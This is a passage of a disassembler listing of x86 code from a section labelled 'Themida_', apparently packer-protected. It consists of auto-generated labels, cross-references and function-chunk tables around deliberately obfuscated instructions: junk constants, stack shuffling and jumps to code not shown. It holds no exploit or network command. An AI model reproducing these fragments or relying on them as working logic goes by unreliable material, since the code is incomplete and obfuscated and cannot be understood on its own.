		jmp	loc_5AC825
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_59C044:				; CODE XREF: Themida_:005AB785j
		shl	dl, 7
		sub	dl, 0FBh
		jmp	loc_59FEBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59C04F:				; CODE XREF: sub_599059+112CFj
		xor	edx, 98633D8Dh
		sub	edi, 695A282Dh
		jmp	loc_59CE75
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_59C060:				; CODE XREF: Themida_:005A2689j
		pop	ecx
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59DBEE
; ---------------------------------------------------------------------------


loc_59C07A:				; CODE XREF: Themida_:005A46E8j
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_59A1F1
; ---------------------------------------------------------------------------


loc_59C08B:				; CODE XREF: Themida_:005ABA7Ej
		and	[esp], al
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59C094:				; CODE XREF: sub_5A9B76-C896j
					; sub_5AC95F-7EFFj
		mov	edi, [esp+4+var_4]
		add	esp, 4
		xor	edx, ebx
		mov	ebx, [esp+0]
		jmp	loc_5A3BDF
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59C0A7:				; CODE XREF: sub_598D16:loc_5A1630j
		xor	ebx, 6969721Ah
		jmp	loc_59D3F1
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_59C0B2:				; CODE XREF: sub_59A932+511Bj
					; sub_5A9228:loc_5A5AA2j
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_5A573D
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_59C0BB:				; CODE XREF: sub_59EE57+39B1j
		shl	bh, 6
		dec	bh
		jge	loc_5ADCA9
		push	small 7A8Ch
		mov	word ptr [esp+2+var_4+2], dx
		mov	dh, 21h
		xor	bh, dh
		pop	dx
		push	eax
		push	edx
		mov	dh, bh
		mov	al, dh
		pop	edx
		mov	dl, al
		mov	eax, [esp+4+var_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_59898C
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_59C0F8:				; CODE XREF: sub_5A6DA1-10FFj
		add	esi, ebx
		pop	ebx
		sub	ebp, 7BFC101Bh
		jmp	loc_5982A5
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59C106:				; CODE XREF: sub_5A8C33-FA49j
		add	eax, ebx
		jmp	loc_5AE40D
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59C10D:				; CODE XREF: sub_59D99C+1712j
		pop	edi
		jmp	loc_59B6A7
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59C113:				; CODE XREF: sub_59A932+145Dj
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		shl	[esp+0Ch+var_C], cl
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------


loc_59C122:				; CODE XREF: Themida_:00598D51j
		jmp	loc_5ADDBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59C127:				; CODE XREF: sub_5A8D43-636j
		shl	dl, 8
		shr	dl, 1
		jp	loc_5A7E00
		sub	dl, 0F6h
		sub	bl, dl
		jmp	loc_5A64D2
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
		push	eax
		mov	ah, 0FCh
		push	edi
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_59C141:				; CODE XREF: sub_597C68+CD18j
		pop	ecx
		push	ecx
		jmp	loc_5A1E81
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59C148:				; CODE XREF: sub_5ABE52-9159j
					; sub_5A728F-2E82j
		sub	ebx, 0CB66EB7Eh
		mov	esi, ebx
		pop	ebx
		push	ebx
		jmp	sub_59BD3A
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59C157:				; CODE XREF: sub_5A141E-237Fj
		xor	eax, 3C8C7863h
		and	ebx, eax
		pop	eax
		push	edx
		mov	edx, 7C8233B6h
		sub	edx, 69D0464Dh
		jmp	loc_5A97A9
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A462F


loc_59C170:				; CODE XREF: sub_5A462F-8D45j
		push	edx
		mov	edx, 7FD416FAh
		add	edx, 1
		or	edx, 3E1F3B3Bh
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	edx, edi
		pop	edi
		jmp	sub_59D832
; END OF FUNCTION CHUNK	FOR sub_5A462F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59C190:				; CODE XREF: sub_599059+2606j
		shl	ebp, 2
		add	ebp, 0E792AD6Ch
		jmp	loc_5AB909
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_59C19E:				; CODE XREF: sub_59B48F+2353j
		pop	edi
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		jmp	loc_59F69A
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_59C1AA:				; CODE XREF: sub_5AE919-8E8Aj
		inc	ebx
		sub	ebx, 3B76316Bh
		sub	ebx, 0E7421AA0h
		add	ecx, ebx
		pop	ebx
		push	[esp-8+arg_4]
		pop	ebp
		add	esp, 4
		shr	ecx, 7
		push	ecx
		push	ebp
		pop	ecx
		pop	ebp
		not	ebp
		push	ecx
		sub	esp, 4
		jmp	loc_598295
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59C1D6:				; CODE XREF: sub_5AC95F-D94Dj
		add	ebp, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5A8A78
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59C1E6:				; CODE XREF: sub_597F0C:loc_5A3FA1j
		shr	cl, 1
		jmp	loc_5A7AA5
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59C1ED:				; CODE XREF: sub_59D99C+EA61j
		push	[esp+12h+var_10+2]
		jmp	loc_59C768
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_59C1F6:				; CODE XREF: sub_5A879C+1j
		push	esi
		mov	esi, 3DC86C26h
		mov	ebx, 27A64B6Dh
		xor	ebx, esi
		mov	esi, [esp+0]
		add	esp, 4
		add	ebx, 7F6C1D67h
		jmp	loc_5A5057
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59C214:				; CODE XREF: sub_59D99C-434Aj
		push	4D18h
		mov	[esp+8+var_8], ecx
		push	ebp
		push	46CB5312h
		pop	ebp
		inc	ebp
		xor	ebp, 22633926h
		add	ebp, 0B6E9E589h
		mov	ecx, ebp
		pop	ebp
		inc	ecx
		push	ebp
		push	edi
		push	7FCF7DA4h
		pop	edi
		inc	edi
		jle	loc_5A11F9
		sub	edi, 7FCF7DA5h
		mov	ebp, edi
		pop	edi
		sub	ebp, ecx
		push	3016h
		mov	[esp+10h+var_10], eax
		mov	eax, ebp
		push	eax
		pop	ecx
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	[esp+0Ch+var_C]
		jmp	loc_5AD3C4
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADFE3


loc_59C268:				; CODE XREF: sub_5ADFE3+13j
		add	esp, 4
		push	[esp-4+arg_0]
		mov	edi, [esp+0]
		jmp	sub_59F32F
; END OF FUNCTION CHUNK	FOR sub_5ADFE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59C279:				; CODE XREF: sub_5A7343-ABFBj
					; sub_59A932+3D83j
		pop	eax
		jmp	sub_5A7343
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59C27F:				; CODE XREF: sub_5AEE2E-CF21j
		push	edi
		jmp	loc_5A16BC
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59C285:				; CODE XREF: sub_5A28BE+86B1j
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ecx
		push	edx
		mov	dh, 0DFh
		push	ebx
		push	ecx
		mov	ch, dh
		mov	bl, ch
		jmp	loc_5A006E
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_59C2A9:				; CODE XREF: sub_5991B7-128Bj
		mov	bh, ch
		pop	ecx
		jmp	loc_5A5150
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------


loc_59C2B1:				; CODE XREF: Themida_:005A1C9Dj
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	1BADh
		mov	[esp], edi
		push	edx
		mov	edx, 232C6632h
		push	ebp
		mov	ebp, 0DCD399D0h
		push	49FDh
		mov	[esp], ebp
		xor	dword ptr [esp], 25F7396Ah
		pop	edi
		xor	edi, 25F7396Ah
		pop	ebp
		jmp	loc_59A4D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_59C2F0:				; CODE XREF: sub_5A72FB-DBB1j
					; sub_5A141E+6C0Dj
		pop	ebp
		push	ecx
		mov	ecx, 2
		sub	ebx, ecx
		pop	ecx
		push	ebx
		jmp	loc_5990FE
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59C300:				; CODE XREF: sub_5A600F+37BEj
		xor	ebp, [esp+0]
		pop	esp
		jmp	sub_5A91CF
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_59C309:				; CODE XREF: Themida_:005A29DAj
		push	7C7Dh
		mov	[esp], edx
		mov	edx, 4C89070Ah
		push	ebp
		mov	ebp, 65F67597h
		neg	ebp
		sub	ebp, 81671E0h
		jmp	loc_5A0303
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59C329:				; CODE XREF: sub_5A8C33+3393j
		add	ebx, 45256473h
		add	ebp, ebx
		pop	ebx
		mov	esi, [esp+18h+var_18]
		jmp	loc_59D8F1
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_59C33A:				; CODE XREF: sub_5A728F+35B6j
		push	eax
		mov	eax, esp
		jmp	loc_59C5FA
; END OF FUNCTION CHUNK	FOR sub_5A728F

; =============== S U B	R O U T	I N E =======================================



sub_59C342	proc near		; CODE XREF: sub_5A1B2A+C438j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599EDB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F50D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A03FE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0923 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A1757 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A3F31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A78B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A7C39 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA34F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AB49F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC9CF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE07A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE643 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], ebp
		mov	ebp, 3AF25072h
		jmp	loc_59F50D
sub_59C342	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59C352:				; CODE XREF: sub_5AB98B-C068j
		add	bl, 85h
		sub	dl, bl
		pop	ebx
		add	al, dl
		mov	edx, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_5A9E64
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------


loc_59C365:				; CODE XREF: Themida_:0059FD8Aj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 22A03219h
		jmp	loc_59F9FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_59C375:				; CODE XREF: sub_59B0C4+125E4j
		pop	ebx
		jmp	loc_59E9D5
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_59C37B:				; CODE XREF: sub_59DFDD+5126j
		inc	ebp
		jg	loc_5A82A7
		not	ebp
		neg	ebp
		jmp	loc_598BE9
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
		push	7295h
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59C390:				; CODE XREF: sub_5A3F42+AAA0j
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		pop	esp
		bts	[esp+0], ax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_59C3B6:				; CODE XREF: Themida_:005AB2A0j
		sub	eax, 401670CFh
		add	eax, ebx
		add	eax, 401670CFh
		push	eax
		push	esp
		jmp	loc_599DF9
; ---------------------------------------------------------------------------


loc_59C3C9:				; CODE XREF: Themida_:005AD3E1j
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_5A46FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59C3DF:				; CODE XREF: sub_59D99C+ED2Bj
		pop	[esp+10h+var_10]
		pop	esp
		jmp	loc_5A5F75
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59C3E8:				; CODE XREF: Themida_:0059ABBBj
		dec	eax
		js	loc_598204
		jmp	loc_59EF52
; ---------------------------------------------------------------------------


loc_59C3F4:				; CODE XREF: Themida_:005A1310j
		push	edx
		mov	edx, 4D0C2441h
		mov	ecx, 39316106h
		xor	ecx, edx
		pop	edx
		sub	ecx, 743D4543h
		add	esi, ecx
		pop	ecx
		jmp	loc_5A55EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59C410:				; CODE XREF: sub_5A8D43+DFDj
		sub	edi, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_599C48
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59C41D:				; CODE XREF: Themida_:005A90CEj
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 672F5A02h
		sub	esi, 3A9D029Eh
		add	esi, 0D36DA89Eh
		push	esi
		xor	dword ptr [esp], 6E3117FDh
		pop	ebx
		xor	ebx, 6E3117FDh
		mov	esi, [esp]
		jmp	loc_5AAF30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59C452:				; CODE XREF: sub_5AC95F-454Fj
		dec	bl
		jmp	loc_5A10AB
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59C459:				; CODE XREF: sub_59D99C+AC49j
		mov	edi, 3E9E2291h
		shr	edi, 6
		jmp	loc_59AC1E
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59C466:				; CODE XREF: sub_5AC95F-8D6Bj
		mov	esp, [esp-4+arg_0]
		sub	[edi+24h], edx
		push	[esp-4+arg_0]
		pop	edx
		add	esp, 4


loc_59C476:				; CODE XREF: sub_5AE919-E432j
		sub	esp, 4
		mov	[esp-4+arg_0], esi
		push	ebx
		push	edx
		mov	edx, 49981714h
		xor	[esp+4], edx
		pop	edx
		pop	esi
		push	ecx
		mov	ecx, 0B083F60h
		not	ecx
		inc	ecx
		jmp	loc_5AC788
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59C49A:				; CODE XREF: Themida_:005A26A7j
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_59AD0A
; ---------------------------------------------------------------------------
		lodsd
		push	187Eh
		mov	[esp], edi
		push	65BE53D9h
		jmp	loc_599B0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59C4BD:				; CODE XREF: sub_599059+3702j
		dec	byte ptr [esp-0Ah+arg_6]
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_59C4C6:				; CODE XREF: Themida_:0059BFABj
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	ebp
		mov	ebp, 77FB3974h
		jmp	loc_5A333E
; ---------------------------------------------------------------------------


loc_59C4D8:				; CODE XREF: Themida_:005A55EFj
		pop	esp
		jmp	loc_5A30EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59C4DE:				; CODE XREF: sub_5A1B2A+2DB3j
		movzx	ecx, al
		push	4F49h
		mov	[esp+0], ecx
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59C4EE:				; CODE XREF: sub_59CA4A+140Dj
		jmp	loc_5A8A59
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59C4F3:				; CODE XREF: sub_5986D6+15ECDj
		shl	al, 7
		jns	loc_599289
		shr	al, 8
		jp	loc_5A39DE
		shr	al, 8
		jnz	loc_5A426B
		push	ebx


loc_59C50F:				; CODE XREF: Themida_:005A2D2Fj
		shl	ecx, 8
		sub	ecx, 3B2EF6A6h
		push	ecx
		pop	edi
		jmp	sub_5A2735
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------


loc_59C51F:				; CODE XREF: Themida_:00598BE4j
		mov	esp, [esp]
		add	esp, 4


loc_59C528:				; CODE XREF: Themida_:005ADF45j
		push	2AB4h
		mov	[esp], edx
		jmp	loc_598CBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59C535:				; CODE XREF: sub_59D99C:loc_59F0B8j
					; Themida_:005A14E3j
		pop	ecx
		jmp	loc_5A28A8
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_59C53B	proc near		; CODE XREF: sub_59F32F+9E72j

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597E26 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005980ED SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059811A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598C9A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005997C5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005999CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599A39 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599BC9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A6A7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A6EE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059AF19 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B4CD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059BE11 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BE86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C5BD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D050 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E9D5 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059F06B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059F5EC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059F783 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059F810 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059F83F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0F2C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1014 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1CA2 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A293B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3524 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A385E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A3A7D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4304 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4815 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A4A21 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A5685 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5B18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5F9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A6AB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A6F3E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A7587 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A762A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A8384 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A8630 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A89B7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A9EF5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA700 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AACC4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AB1D0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ABAFC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005ABFFC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ACAA2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACAE7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE2DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE311 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE49D SIZE 00000050 BYTES
; FUNCTION CHUNK AT 005AE604 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AE819 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AF1CE SIZE 00000031 BYTES

		push	ebx
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	ebx, [esp+0]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_597E26
sub_59C53B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59C55D:				; CODE XREF: Themida_:00598A2Aj
					; sub_5A8F00:loc_59E289j
		mov	[esp+8+var_8], ebx
		push	4
		jmp	loc_5A4B2C
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59C56A:				; CODE XREF: sub_59D99C+78DDj
		mov	[esp+4+var_4], edx
		push	32A3h
		mov	[esp+8+var_8], edi
		jmp	loc_59E859
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59C57A:				; CODE XREF: sub_59ACEC-1B79j
		shr	esi, 8
		add	esi, 392A909Eh
		xor	edx, esi
		jmp	loc_59CE59
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_59C58A:				; CODE XREF: sub_5A1340+CEF5j
		jmp	loc_5A9552
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------


loc_59C58F:				; CODE XREF: Themida_:005A03B0j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_59E3ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59C59D:				; CODE XREF: sub_59D7E7+9j
		add	ebx, 4F84D43Ch
		add	esi, ebx
		jmp	loc_5AD907
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59C5AA:				; CODE XREF: sub_59CA4A+2832j
		add	esp, 4
		pop	ebx
		push	ebp
		push	1DC970E5h
		pop	ebp
		jmp	loc_59EDB1
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59C5BD:				; CODE XREF: sub_59C53B-441Cj
		mov	[esp+4+var_4], ecx
		push	esp
		mov	ecx, [esp+8+var_8]
		jmp	loc_5ABFFC
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59C5C9:				; CODE XREF: sub_597F0C+130E9j
		mov	ebp, [esp+4+var_4]
		jmp	loc_5ACD4C
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_59C5D1:				; CODE XREF: Themida_:005AB305j
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5A19F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59C5E3:				; CODE XREF: sub_59CE02+18j
					; sub_59D99C+C583j
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_599701
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_59C5FA:				; CODE XREF: sub_5A728F-AF52j
		add	eax, 4
		jmp	loc_5A8695
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59C604:				; CODE XREF: sub_5A8C33+52D5j
		add	esp, 4
		mov	ebp, esi
		pop	esi
		jmp	loc_59FED3
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59C612:				; CODE XREF: sub_5AC95F-10F80j
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5A3451
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59C623:				; CODE XREF: Themida_:005ACB17j
		mov	ebx, eax
		pop	eax
		jmp	loc_5AA27D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59C62B:				; CODE XREF: sub_59FFBE-11C1j
		pop	eax
		not	eax
		jmp	loc_5A0B23
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_59C633:				; CODE XREF: sub_5ABF4A-BAF0j
		pop	ebp
